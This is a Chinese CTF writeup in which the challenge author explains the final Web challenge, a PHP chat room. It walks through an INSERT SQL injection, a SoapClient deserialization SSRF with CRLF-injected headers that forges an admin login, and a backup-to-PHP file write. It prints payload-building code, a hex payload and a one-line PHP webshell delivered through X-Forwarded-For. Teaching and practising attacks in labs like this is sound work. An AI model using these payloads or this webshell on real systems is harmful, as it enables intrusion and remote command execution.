这是第一届信安大挑战Web压轴题,二仙桥flag py群的writeup
出题思路
当时就想出一个比较综合的题,当成压轴题,同时在找前端轮子的时候看到一个聊天室,于是就有了这个题,出题过程中还是非常有趣的,现有的漏洞点也是开发人员常犯的错误(就是我犯的错误)。
前端用现有的框框改了改,后端全部重构,出这个题前后用了3,4天的时间。从比赛的情况来看,没有人做出来,不知道是太难了还是不敢做。但是我希望下来能够再看看这个题,可以读一读后端的代码,试着复现一遍。题目环境还会保持运行一段时间。
先看看整个网站的功能和结构
先看看功能
进入题目有注册登录界面,注册之后登陆上去是一个聊天室,可以发送信息。下方有管理员界面,点开需要登录,尝试登录被告知需要本地才能登陆。
ok,知道了所有的功能,我们现在的目的肯定是要登录到管理员页面。
再读读源码
整体的代码结构如下:
其中,classes.php
定义了三个类
其中,Content
类就是发送的消息的结构,Db
是数据库操作相关类,Api
是后端和前端交互的api类,包括登录注册、消息发送获取等等
funcitons.php
定义了一些函数,包括token的设置和检查、用户注册时添加的内容、检查登录状态、获取ip、以及将数据库中的消息数据转换格式
找找可能漏洞点
我们已经知道,用户和后端进行交互主要动作都是通过api.php
来进行的,而api.php
是实例化的classes.php
中的Api
类。所以,重点看看Api
这个类。
先看看register
和login
这两个注册登录函数,他们在查询拼接进sql语句之前,都使用了addslashes
函数将危险字符转义,所以这个地方应该没有问题。
之后还有send
、msg
函数,他们分别是用来发送和获取消息的。
msg
中唯一可控的参数k
被intval
强制转换成了int类型,所以也没法注入了。
再看看send
。可控部分有$_SESSION['username']
,$_POST['msg']
,但是$_SESSION['username']
也被addslashes
过滤了特殊字符。值的注意的是$_POST['msg']
只经过了htmlspecialchars
的处理,好像有戏。
分析一下关键代码:
1 | $username = addslashes($_SESSION['username']); // 将危险字符转义 |
可以看看Db的insert
是怎样定义的
1 | public function insert($table, $columns, $values) |
所以这里插入数据库的语句应该为:
1 | insert into contents (`content`,`owner`) values(serialize($content), $username) |
这个sql语句我们可以控制的部分是serialize($content)
和$username
,刚刚说了username
没有办法利用,所以重心放在了serialize($content)
上。
测试一下
可以看到我们是可以插入单引号到serialize($content)
中的,这就是注入点。
OK,sql注入+1,这里是insert语句中的sql注入。
回到开始,我们想要的是登录进入管理员后台,来看一看管理员登录的api
可以看到,只能本地登录,且密码写死了是password
,如果想要登录的话只能寻找ssrf漏洞来发起登录请求。
找寻一番过后,没有找到ssrf漏洞。
但是,在刚刚发送消息的时候有一个serialize
的操作,那么必然有反序列化,有一定经验的就知道,反序列化可以利用SoapClient
反序列化来ssrf(但也必须要执行__call
这个魔法函数)
于是找寻反序列化的地方,在functions.php的arr2content
中找到了反序列化的地方,而且,反序列化之后的对象会执行json方法,这也满足了ScapClient执行__call
这个条件。
SSRF漏洞+1
开始利用漏洞打
先理一理漏洞利用链:
① 首先利用insert注入插入一条我们自己构造的SoapClient类序列化后的字符串
② 利用反序列化之后的json方法来触发SoapClient的__call方法,从而发起请求,导致ssrf
③ 利用ssrf发起admin_login的请求,将我们的session设置成admin状态
④ 使用admin状态的session访问管理员后台界面即可
开始干活
写发起admin_login请求的SoapClient类,并将其序列化。
需要注意的是,我们传入的
$_POST['msg']
会经过htmlspecialchars
处理,所以双引号会被实体化,解决办法是将字符串用16进制的形式表示。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Content
{
public $data;
}
$target = 'http://127.0.0.1/api.php?c=admin_login';
$post_string = 'pass=password';
$headers = array(
'Cookie: PHPSESSID=admin'
);
$user_agent = 'a^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string;
$options = array(
'location' => $target,
'user_agent' => $user_agent,
'uri' => "a"
);
$b = new SoapClient(null, $options);
$payload = serialize($b);
$payload = str_replace('^^', urldecode('%0d%0a'), $payload);
echo bin2hex($payload);运行结果为:
4f3a31303a22536f6170436c69656e74223a353a7b733a333a22757269223b733a313a2261223b733a383a226c6f636174696f6e223b733a33383a22687474703a2f2f3132372e302e302e312f6170692e7068703f633d61646d696e5f6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31313a225f757365725f6167656e74223b733a3131323a22610d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6f6b69653a205048505345535349443d61646d696e0d0a436f6e74656e742d4c656e6774683a2031330d0a0d0a706173733d70617373776f7264223b733a31333a225f736f61705f76657273696f6e223b693a313b7d
发送消息时利用insert注入插入刚刚的序列化字符串
使用msg这个api让其执行
arr2content
这个函数,触发反序列化并触发ssrf,带着我们的cookie去登录。带上设置的cookie访问后台页面,就可以发现已经是管理员了。
进入管理后台,继续寻找利用点
管理员后台有一个数据备份的功能
保存后会返回备份文件的路径
可以直接访问并下载sql文件,文件内容是数据库的备份文件。
尝试改将其保存为php文件呢?好像不行?
看看代码,可以发现其实是保存为你输入的名字,但是为什么返回的是shell.sql
呢?
看看前端代码,知道为什么了吧
OK,我们自己发起请求
成功写入了!
到这里我们已经可以写入php文件了,那么只要数据库中的一部分我们能写成php代码就可以getshell。
观察先前下载的backup.sql,发现只有两个部分可以控制,分别是用户名和ip地址
这里的用户名经过了htmlspecialchars
处理,<
会被实体化,且长度有限制,不可用。注意力看向ip地址。
插入ip地址是在用户注册的时候
看一看是怎么获取ip的
很明显可以伪造,但是长度有限制。
得想一个长度小于15的马,这里提供一个
1 | <?=`$_GET[1]`?> |
新注册一个用户,将其X_Forwarded_For头设置成上面的一句话,之后再备份一遍,就可以拿到一个shell
之后利用这个shell即可执行命令
之后cat /flag
即可获得flag
后记
这个题难点在于寻找到insert注入并且想到利用反序列化原生类来ssrf。
其实,拿到管理员后台之后getshell方法并不止上面那一种,感兴趣可以尝试别的方法(方法还很多)